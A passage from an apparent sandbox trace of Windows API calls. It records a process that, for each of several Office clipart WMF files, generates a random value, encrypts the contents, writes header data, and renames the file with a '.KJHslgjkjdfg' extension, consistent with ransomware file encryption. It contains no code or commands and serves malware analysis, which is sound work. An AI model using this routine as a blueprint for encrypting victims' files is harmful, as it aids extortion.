SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0168.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0168.722] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.722] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.722] GetProcessHeap () returned 0x2a0000 [0168.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0168.722] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0168.722] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.722] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0168.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0168.722] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0168.722] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0168.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0168.723] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.723] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.723] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.723] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a14, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a14, lpOverlapped=0x0) returned 1 [0168.727] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a20) returned 1 [0168.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.727] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a20, lpOverlapped=0x0) returned 1 [0168.727] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.728] SetEndOfFile (hFile=0x114) returned 1 [0168.731] GetProcessHeap () returned 0x2a0000 [0168.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0168.731] GetProcessHeap () returned 0x2a0000 [0168.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0168.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.kjhslgjkjdfg")) returned 1 [0168.732] CloseHandle (hObject=0x114) returned 1 [0168.732] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0168.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.733] GetProcessHeap () returned 0x2a0000 [0168.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0168.733] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0168.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0168.733] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.734] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.734] GetProcessHeap () returned 0x2a0000 [0168.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0168.734] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0168.734] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.734] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0168.749] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0168.749] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0168.749] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0168.749] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0168.749] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.749] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.749] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.749] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.749] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1580, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1580, lpOverlapped=0x0) returned 1 [0168.751] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1580, dwBufLen=0x1580 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1580) returned 1 [0168.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.751] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1580, lpOverlapped=0x0) returned 1 [0168.751] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.751] SetEndOfFile (hFile=0x114) returned 1 [0168.756] GetProcessHeap () returned 0x2a0000 [0168.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0168.756] GetProcessHeap () returned 0x2a0000 [0168.756] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0168.756] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105294.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105294.wmf.kjhslgjkjdfg")) returned 1 [0168.758] CloseHandle (hObject=0x114) returned 1 [0168.758] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0168.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.760] GetProcessHeap () returned 0x2a0000 [0168.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0168.760] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0168.760] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0168.760] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.760] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.760] GetProcessHeap () returned 0x2a0000 [0168.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0168.760] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0168.760] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.760] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0168.781] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0168.781] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0168.782] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0168.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0168.782] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.782] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.782] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.782] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.782] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x18b0, lpOverlapped=0x0) returned 1 [0168.827] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18b0) returned 1 [0168.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.827] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x18b0, lpOverlapped=0x0) returned 1 [0168.827] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.827] SetEndOfFile (hFile=0x114) returned 1 [0168.829] GetProcessHeap () returned 0x2a0000 [0168.829] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0168.829] GetProcessHeap () returned 0x2a0000 [0168.829] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0168.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105298.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105298.wmf.kjhslgjkjdfg")) returned 1 [0168.830] CloseHandle (hObject=0x114) returned 1 [0168.830] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0168.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0168.831] GetProcessHeap () returned 0x2a0000 [0168.831] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0168.831] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0168.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0168.831] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.831] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.831] GetProcessHeap () returned 0x2a0000 [0168.831] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0168.831] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0168.831] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.831] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0168.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0168.868] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0168.868] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0168.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0168.868] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0168.868] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0168.868] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0168.868] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.868] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x10e0, lpOverlapped=0x0) returned 1 [0168.977] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10e0, dwBufLen=0x10e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10e0) returned 1 [0168.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.978] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10e0, lpOverlapped=0x0) returned 1 [0168.978] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0168.978] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.978] SetEndOfFile (hFile=0x114) returned 1 [0169.042] GetProcessHeap () returned 0x2a0000 [0169.042] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0169.042] GetProcessHeap () returned 0x2a0000 [0169.042] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0169.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105306.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105306.wmf.kjhslgjkjdfg")) returned 1 [0169.044] CloseHandle (hObject=0x114) returned 1 [0169.044] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0169.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0169.046] GetProcessHeap () returned 0x2a0000 [0169.046] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0169.046] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0169.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0169.046] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0169.047] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0169.047] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0169.047] GetProcessHeap () returned 0x2a0000 [0169.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0169.048] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0169.048] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0169.048] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0169.048] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0169.048] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0169.048] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0169.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: 